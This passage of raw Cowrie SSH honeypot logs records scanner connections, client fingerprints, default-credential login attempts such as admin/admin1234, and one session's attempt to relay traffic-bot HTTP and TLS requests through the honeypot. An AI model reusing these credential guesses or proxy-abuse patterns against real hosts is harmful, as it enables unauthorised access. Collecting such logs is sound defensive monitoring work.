{"eventid":"cowrie.session.closed","duration":"40.7","message":"Connection lost after 40.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:23.693839Z","src_ip":"173.208.188.210","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:24.554910Z","src_ip":"91.92.40.36","session":"9e8196958f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:24.558217Z","src_ip":"91.92.40.36","session":"9e8196958f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":49174,"dst_ip":"10.17.0.5","dst_port":22,"session":"28c79aae896b","protocol":"ssh","message":"New connection: 113.164.152.20:49174 (10.17.0.5:22) [session: 28c79aae896b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:24.774685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:24.779196Z","src_ip":"113.164.152.20","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:24.803013Z","src_ip":"89.223.69.22","session":"4bbafb430149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:25.066746Z","src_ip":"113.164.152.20","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:26.293238Z","src_ip":"113.164.152.20","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:26.689855Z","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:26.802192Z","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:26.967957Z","src_ip":"113.164.152.20","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.93 Mobile/16G201 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TSZAbmV1JmVCMGEwSDZkNw%3D%3DkPWdN8Raj3gLyE8%2F4%2BBteMyMzvkABVqNrtwgVVfQbvQMycdLC9iTYeHk%2BMZI4DoKgGWcP1UvzoKXUAdyvVPZ8mLyeqicVHg8FGZhvyroNDsytVHDV92UiRj0Tm1bLFkPGGwDpTgMWscwUEYXf48Y4u5dPtIXoW6q9ttYz7qLPaDBSJ7y38S1OHwHEDavdhLm8cxZUc7oXMx6vvFX6d1w2hTTwJ3%2ByjFm7x4Y0DY5CxFNjulh1qMGTYbuGAND0edSKzsqOzobwyCxbKkqkxhMs8IvBi6BMh5rindEv9hHsU6Nul88JnIHMXDwyir0%2FT2bnXXFL3SLHVdmtIMWRB7svFLHH%2FAb2mUFWfvcNejSU%2Bnd4dedYGkK39Kal9OIOsF99jk%2FvqS7zKDDU%2FjoyldBDE3Y%2FHM7nTexecDiRnXOnEcXu0iLDm2xe6jlfC6nHKBof2Xdj6VzuDm1xriu%2BGYyd5gqsiqTpAq6Re7SD%2FI8Z7UPASD71K%2FlawK1EcHbFkq%2FCs7kd57Yho5tFFYaY0iyMmy2D%2FI03jpNukibxJPDK7kHB8D8tQl%2FvK%2Bx5dx5ivi79AocV66%2By%2BX0uRD9sZj4a8hVOcfF3WL7nq9bIx4j8DdBcpAbVrfzIKBZzTO95kq7xXO7m6TSzV8%2BbNysXu7OSJ1CGDXIYPuYIxFWE%2BPN7IfE6v2iWov%2F0ph75FYOuWxeABNx%2FpxGYM3U4zyneXXIR0V5CFXtGGf89etOrOubJtEjTFhscgMvNn2BbEpLW1XAA6Rr7ub0ydDYtA8pPA2A2skjxdV%2B08t%2BSyUJPfeQF6XNHy1f9lr15qgrtgGA2VEDaT0DQlWDjsAd3SxVM%2BCwlJ5WDcKizw340uHyra0YAa25nQSlbFnVbbEt4L3FYa8lZaZWgPD1xhItmkUKtpDfMbYnW9Q23HzaN%2BUbI3fU2J%2BJMUKgod84UxG%2FsgaESNmDInuPm%2FI%2F2uAy4SmneXX2AnRaCCYII7u9StxlHT6A3aP0nqmGmwIbSRNWgfmVIz4u1pvFTfA%2B%2BcTtmh01YHRBkrFLxGTiipqj011k2o%2BeSgslZEC0uU3g6nM9rEp%2BLaxk'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.93 Mobile/16G201 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TSZAbmV1JmVCMGEwSDZkNw%3D%3DkPWdN8Raj3gLyE8%2F4%2BBteMyMzvkABVqNrtwgVVfQbvQMycdLC9iTYeHk%2BMZI4DoKgGWcP1UvzoKXUAdyvVPZ8mLyeqicVHg8FGZhvyroNDsytVHDV92UiRj0Tm1bLFkPGGwDpTgMWscwUEYXf48Y4u5dPtIXoW6q9ttYz7qLPaDBSJ7y38S1OHwHEDavdhLm8cxZUc7oXMx6vvFX6d1w2hTTwJ3%2ByjFm7x4Y0DY5CxFNjulh1qMGTYbuGAND0edSKzsqOzobwyCxbKkqkxhMs8IvBi6BMh5rindEv9hHsU6Nul88JnIHMXDwyir0%2FT2bnXXFL3SLHVdmtIMWRB7svFLHH%2FAb2mUFWfvcNejSU%2Bnd4dedYGkK39Kal9OIOsF99jk%2FvqS7zKDDU%2FjoyldBDE3Y%2FHM7nTexecDiRnXOnEcXu0iLDm2xe6jlfC6nHKBof2Xdj6VzuDm1xriu%2BGYyd5gqsiqTpAq6Re7SD%2FI8Z7UPASD71K%2FlawK1EcHbFkq%2FCs7kd57Yho5tFFYaY0iyMmy2D%2FI03jpNukibxJPDK7kHB8D8tQl%2FvK%2Bx5dx5ivi79AocV66%2By%2BX0uRD9sZj4a8hVOcfF3WL7nq9bIx4j8DdBcpAbVrfzIKBZzTO95kq7xXO7m6TSzV8%2BbNysXu7OSJ1CGDXIYPuYIxFWE%2BPN7IfE6v2iWov%2F0ph75FYOuWxeABNx%2FpxGYM3U4zyneXXIR0V5CFXtGGf89etOrOubJtEjTFhscgMvNn2BbEpLW1XAA6Rr7ub0ydDYtA8pPA2A2skjxdV%2B08t%2BSyUJPfeQF6XNHy1f9lr15qgrtgGA2VEDaT0DQlWDjsAd3SxVM%2BCwlJ5WDcKizw340uHyra0YAa25nQSlbFnVbbEt4L3FYa8lZaZWgPD1xhItmkUKtpDfMbYnW9Q23HzaN%2BUbI3fU2J%2BJMUKgod84UxG%2FsgaESNmDInuPm%2FI%2F2uAy4SmneXX2AnRaCCYII7u9StxlHT6A3aP0nqmGmwIbSRNWgfmVIz4u1pvFTfA%2B%2BcTtmh01YHRBkrFLxGTiipqj011k2o%2BeSgslZEC0uU3g6nM9rEp%2BLaxk'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:26.971563Z","src_ip":"113.164.152.20","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anjelica","password":"anjelica","message":"login attempt [anjelica/anjelica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:27.235111Z","src_ip":"91.92.40.36","session":"5b046657f14f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:27.240323Z","src_ip":"113.164.152.20","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03>\\xa4\\xc6\\xfb\\x12\\xc0M\\xf2\\xfc\\xec\\x8c\\xfb%\\xda\\xe5\\xd0\\x86\\x97Y8e\\xdf\\xa6:oT)\\xba\\xb2\\xc9\\x10. \\xe1m\\xd8Q\\x18\\xcf\\xf5\\xaf\\x19pV\\x15]\\xa3\\xb8\\xb8\\x17YT\\x1a\\xcfm\\xf6\\x97V\\xd1\\xafy\\xb8A\\xdf\\x03\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 K|x\\xcc\\xc8\\xe6\\x9c\\xcf`k\\x1c5\\x876\\xd8\\xa2w\"!\\xfeJ\\xcb\\xac\\xc6lIN\\xc8\\xf1b\\xfa\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03>\\xa4\\xc6\\xfb\\x12\\xc0M\\xf2\\xfc\\xec\\x8c\\xfb%\\xda\\xe5\\xd0\\x86\\x97Y8e\\xdf\\xa6:oT)\\xba\\xb2\\xc9\\x10. \\xe1m\\xd8Q\\x18\\xcf\\xf5\\xaf\\x19pV\\x15]\\xa3\\xb8\\xb8\\x17YT\\x1a\\xcfm\\xf6\\x97V\\xd1\\xafy\\xb8A\\xdf\\x03\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 K|x\\xcc\\xc8\\xe6\\x9c\\xcf`k\\x1c5\\x876\\xd8\\xa2w\"!\\xfeJ\\xcb\\xac\\xc6lIN\\xc8\\xf1b\\xfa\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:27.245397Z","src_ip":"113.164.152.20","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:27.788808Z","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:28.067839Z","src_ip":"113.164.152.20","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94`_\\xe2hY\\xe6\\xca\\r;\\x03?\\xae\\xa03\\xc5\\xc9\\'\\x18\\xf3\\xf4+J\\xba)\\x10\\x9f\\'\\xc7\\x17\\xb6\\x86 \\xc5\\x99\"\\x89\\xaa\\xbcv\\xd0C%\\'\\x0en[|\\x10\\xc4\\xe7\\x9f\\xe7\\x12\\x9d\\xd3\\x96\\xb7\\x1dYn\\x8f\\xb8\\xe4P\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0f\\xf3\\xa4j;\\x93^>\\xcf\\xf4\\xf05[\\x19\\x97F(\\xb5\\x04\\xe2\\xd8\\x1e1\\xc8f\\x93\\x95\\xb5>\\xa7\\xc9\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94`_\\xe2hY\\xe6\\xca\\r;\\x03?\\xae\\xa03\\xc5\\xc9\\'\\x18\\xf3\\xf4+J\\xba)\\x10\\x9f\\'\\xc7\\x17\\xb6\\x86 \\xc5\\x99\"\\x89\\xaa\\xbcv\\xd0C%\\'\\x0en[|\\x10\\xc4\\xe7\\x9f\\xe7\\x12\\x9d\\xd3\\x96\\xb7\\x1dYn\\x8f\\xb8\\xe4P\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 